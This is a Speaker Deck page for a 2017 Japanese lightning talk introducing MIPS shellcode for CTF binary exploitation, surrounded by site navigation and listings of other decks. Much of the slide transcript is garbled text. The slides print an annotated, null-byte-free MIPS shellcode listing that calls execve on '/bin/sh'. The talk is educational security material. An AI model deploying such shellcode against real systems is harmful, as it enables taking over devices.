Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
mipsシェルコード入門
Search
Chihiro Hasegawa
August 11, 2017
Technology
970
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
mipsシェルコード入門
2017年8月11日 CpawLT
Chihiro Hasegawa
August 11, 2017
More Decks by Chihiro Hasegawa
See All by Chihiro Hasegawa
大規模Cloud Native環境におけるFalcoの運用
owlinux1000
0
440
Sysdig Secure/Falcoの活用術! ~Kubernetes基盤の脅威モデリングとランタイムセキュリティの強化~
owlinux1000
0
1.7k
SECCON Beginners 2017 東京 Binary編
owlinux1000
1
140
Other Decks in Technology
See All in Technology
Kiro Crewで「みのるん式」仕事術やってみた
minorun365
PRO
3
1k
sue445's proposals 2026
sue445
0
130
Persisting Massive Data with Rails ~Designing for 60 billion rows, and fighting the bottlenecks~ Railsで挑む大量データ永続化 〜600億件を永続化するための設計とボトルネックとの戦い〜
occhi
0
780
導入から定着へ ~コーディングエージェントを日常業務に組み込む実践知~
yukisakai1225
0
200
ガチで放置できるClaude Code実行環境の作り方.pdf
lamaglama39
1
6k
How to teach your AI Agent with Agent skills
linedevth
0
110
小規模OSSモデルは サイバーセキュリティ業務に どこまで使えるか
bbrbbq
0
190
Turning Repos into the Product Second Brain with an LLM Wiki
linedevth
0
140
ストレスなくAIと付き合いたい!こんなときどうしてる?
namiki64
4
670
こんにちは!SORACOM です & IoT とは【SORACOM UG 東北 in 八戸】
soracom
PRO
0
170
僕のハーネスを紹介します
watany
5
1.4k
dbt Semantic Layerで進めるenechainのデータ民主化
akizhou
1
220
Featured
See All Featured
Leadership Guide Workshop - DevTernity 2021
reverentgeek
1
400
Building a A Zero-Code AI SEO Workflow
portentint
PRO
0
790
XXLCSS - How to scale CSS and keep your sanity
sugarenia
250
1.3M
Refactoring Trust on Your Teams (GOTO; Chicago 2020)
rmw
35
3.9k
DevOps and Value Stream Thinking: Enabling flow, efficiency and business value
helenjbeal
2
410
コードの90%をAIが書く世界で何が待っているのか / What awaits us in a world where 90% of the code is written by AI
rkaga
63
47k
The browser strikes back
jonoalderson
0
1.8k
ピンチをチャンスに:未来をつくるプロダクトロードマップ #pmconf2020
aki_iinuma
128
56k
SEO Brein meetup: CTRL+C is not how to scale international SEO
lindahogenes
2
2.9k
Highjacked: Video Game Concept Design
rkendrick25
PRO
1
490
Accessibility Awareness
sabderemane
1
250
Game over? The fight for quality and originality in the time of robots
wayneb77
1
310
Transcript
NJQTγΣϧίʔυೖ $QBX-5!ίϫʔΩϯάεϖʔεכொ $P&EP ݄ ۚ https://speakerdeck.com/owlinux1000
എܠ • $5' $BQUVSF5IF'MBH ͰγΣϧΛ ୣऔ͢Δδϟϯϧ1XO &YQMPJU ͕͋Δ • ͍͍ͩͨͷ͕YΞʔΩςΫνϟ
• ͨ·ʹଞͷΞʔΩςΫνϟͷͰΔ ˠ NJQTͷษڧΛͯ͠ΈΑ͏
എܠ • ໋ྩηοτɾΞʔΩςΫνϟҟͳΔ • Y্ͰɺNJQTͷ࣮ߦϑΝΠϧಈ͔ͳ͍ ˠ ԾతʹΤϛϡϨʔτ͢Δඞཁ͕͋Δ mov eax,
0x0 move v0, zero x86 mips
2FNVʹΑΔڥ࡞ • ຊ࣭Ͱͳ͍ͷͰׂѪ • #VJMEJOHB%FCJBO 4USFUDI2&.6 JNBHFGPS.*14FM<>͕Θ͔Γ͍͢ [1] https://blahcat.github.io/2017/07/14/building-a-debian-stretch-qemu-image-for-mipsel/
[2] https://ja.wikipedia.org/wiki/QEMU#/media/File:Qemu_logo.svg [2]
γΣϧίʔυ • ٛͷҙຯͰɺ߈ܸ༻ͷίʔυͷஅย • $5'Ͱ FYFDWF lCJOTIz /6-- /6--
Λ͢ΔίʔυΛΛࢦ͢ࣄ͕ଟ͍ • ΞηϯϒϦݴޠͰɺγεςϜίʔϧΛ ݺͿඞཁ͕͋Δ
γεςϜίʔϧ • Χʔωϧ͕࣋ͭػೳΛݺͼग़͢ࡍʹར༻ • WϨδελʹγεςϜίʔϧ൪߸ • ྫ PQFO ϑΝΠϧΛ։͘ •
BϨδελʹୈҰҾɾɾɾ • ্هΛઃఆޙɺTZTDBMM໋ྩΛݺͿ https://w3challs.com/syscalls/?arch=mips_o32
NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2
<- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh" [3] https://www.exploit-db.com/exploits/35868/
NJQTͷγΣϧίʔυ<> ΞυϨε ΞηϯϒϦ ίϝϯτ 0x1000 slti $a2, $zero, -1 $a2
<- 0 0x1004 bltzal $a2, 0x1004 $ra <- 次の命令のアドレス(0x100c) 0x1008 slti $a1, $zero, -1 $a1 <- 0 0x100c addu $a0, $ra, 4097 $a0 <- $ra + 4097 0x1010 addu $a0, $a0, -4081 $a0 <- $a0 – 4081 ($a0 = $ra + 16) 0x1014 li $v0, 4011 $v0 = 4011 (execveの番号) 0x1018 syscall 0x40404 システムコールを呼ぶ 0x101c .string "/bin/sh" [3] https://www.exploit-db.com/exploits/35868/ ※機械語に変換した時に”\x00”が⼊らないようなプログラムを意図的に作っている → str(n)cpyなどの関数を使っている場合、”\x00”があるとそこで途切れる
࣮ߦ݁Ռ
͓ΘΓ • NJQTͷγΣϧίʔυͷΈΛֶΜͩ • ڵຯ͕ग़ͨਓͥͻಡΜͰΈͯԼ͍͞
એ https://tokyowesterns.github.io/ctf2017/